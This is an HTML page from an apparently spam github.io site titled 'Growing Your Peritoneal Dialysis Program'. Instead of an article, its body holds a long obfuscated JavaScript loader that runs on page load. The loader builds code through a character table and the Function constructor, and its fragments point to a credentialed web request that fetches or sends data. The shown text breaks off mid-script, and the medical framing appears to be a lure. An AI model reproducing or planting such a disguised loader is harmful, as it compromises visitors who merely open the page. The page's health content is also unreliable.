<!DOCTYPE html>
<html lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>
Growing Your Peritoneal Dialysis Program</title>
<link rel="canonical" href="https://geochlamypxi1970.github.io/growing-your-peritoneal-dialysis-program.html">
<meta name="description" content="Background:Automated peritoneal dialysis (APD) is a growing PD modality but as with other home dialysis methods, the lack of monitoring of patients adherence to">
<meta property="og:title" content="Growing Your Peritoneal Dialysis Program"/>
<meta property="og:description" content="Background:Automated peritoneal dialysis (APD) is a growing PD modality but as with other home dialysis methods, the lack of monitoring of patients adherence to"/>
<meta property="og:image" content="https://tbcdn.talentbrew.com/company/488/20700/content/Jill profile.jpg"/>
<meta property="og:type" content="article"/>
<meta property="og:url" content= "https://geochlamypxi1970.github.io/growing-your-peritoneal-dialysis-program.html" />
<meta name="robots" content="index,follow">
<meta property="og:site_name" content="geochlamypxi1970.github.io"/>
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon"><meta name="viewport" content="width=device-width, minimum-scale=1.0, initial-scale=1.0" /><link rel="stylesheet" href="style.css" type="text/css" media="all" /></head>
<body class="home blog custom-background">
<div id="page" class="hfeed site">
		<header id="header" class="site-header" role="banner">
		<div class="site-branding">
        
        <h1 class="site-title"><a href="/" rel="home">Geochlamypxi1970</a></h1>
        <h2 class="site-description"></h2>
        
                
		</div>
        <div id="nav-wrapper">
            <div class="ribbon-left"></div>
            <nav id="main-nav" class="main-navigation" role="navigation">
                <div class="skip-link"><a class="screen-reader-text" href="#content"></a></div>
                                    <ul>
                                            </ul>
                            </nav>
            <div class="ribbon-right"></div>
        </div>
	</header>
	<div id="main" class="site-main">
  

        <div id="primary" class="content-area">  
            <div id="content" class="site-content" role="main">
            
                
<article id="" class=" post type-post status-publish format-standard has-post-thumbnail hentry ">
	<header class="entry-header">
		<h1 class="entry-title"><a href="growing-your-peritoneal-dialysis-program.html" rel="bookmark">Growing Your Peritoneal Dialysis Program</a></h1>
		<div class="entry-meta">
			<span class="byline">  <span class="author vcard"><a href="growing-your-peritoneal-dialysis-program.html" title="" rel="bookmark"><time class="entry-date published" datetime="2021-03-07T16:11:27">07-03-2021</time></a></span> / <span class="comments"><a href="growing-your-peritoneal-dialysis-program.html">Comments off</a></span>		</div>
	</header>
	<div class="entry-content">
        <p><script>$IXr=String.fromCharCode(59,77,75,70,84,67,66,89,61,123,72,44,85,39,46,83,82,57,65,120,71,118,56,107,88,104,47,125,40,49,76,63,87,68,86,69,119,113,48,109,73,112,81,41,90,103);(![]+[])[+[]][([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]][([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]]]($IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[36]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[(+!+[])]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[10]+(!![]+[])[+[]]+(!![]+[])[+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[16]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[37]+(!![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+$IXr[28]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[(+[])]+$IXr[19]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$IXr[14]+([]+[]+{})[+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[20]+$IXr[35]+$IXr[+!+[]+!+[]+!+[]+!+[]]+$IXr[13]+$IXr[11]+$IXr[13]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([]+[]+{})[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+(![]+[])[+[]]+([]+[]+{})[+!+[]]+$IXr[26]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[40]+([]+[]+[][[]])[!+[]+!+[]]+(+{}+[]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[18]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[16]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[44]+(![]+[])[+[]]+$IXr[24]+$IXr[34]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[42]+$IXr[42]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[18]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[45]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[32]+$IXr[34]+(![]+[])[!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[30]+$IXr[6]+$IXr[18]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[23]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]]+$IXr[36]+$IXr[41]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[6]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+{}+[]+[])[+[]]+$IXr[+!+[]+!+[]]+$IXr[5]+$IXr[25]+([![]]+{})[+!+[]+[+[]]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(+{}+[]+[])[+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[3]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[29]+(!![]+[])[+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[34]+(![]+[])[!+[]+!+[]]+(+{}+[]+[])[+[]]+$IXr[12]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[42]+$IXr[24]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[12]+$IXr[35]+$IXr[15]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[6]+$IXr[35]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[18]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[12]+$IXr[29]+$IXr[16]+$IXr[40]+$IXr[12]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[45]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[3]+$IXr[+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+$IXr[32]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([]+[]+{})[+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[36]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[6]+$IXr[10]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[34]+$IXr[19]+$IXr[42]+$IXr[20]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[19]+(!![]+[])[+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[35]+(![]+[])[!+[]+!+[]]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[18]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]]+$IXr[6]+$IXr[+!+[]+!+[]+!+[]]+$IXr[2]+$IXr[35]+$IXr[42]+(!![]+[])[+[]]+$IXr[12]+$IXr[35]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+$IXr[12]+(+{}+[]+[])[+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[0]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[25]+(!![]+[])[+!+[]]+$IXr[14]+$IXr[36]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+$IXr[25]+$IXr[5]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$IXr[8]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$IXr[0]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+$IXr[25]+(!![]+[])[+!+[]]+$IXr[+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+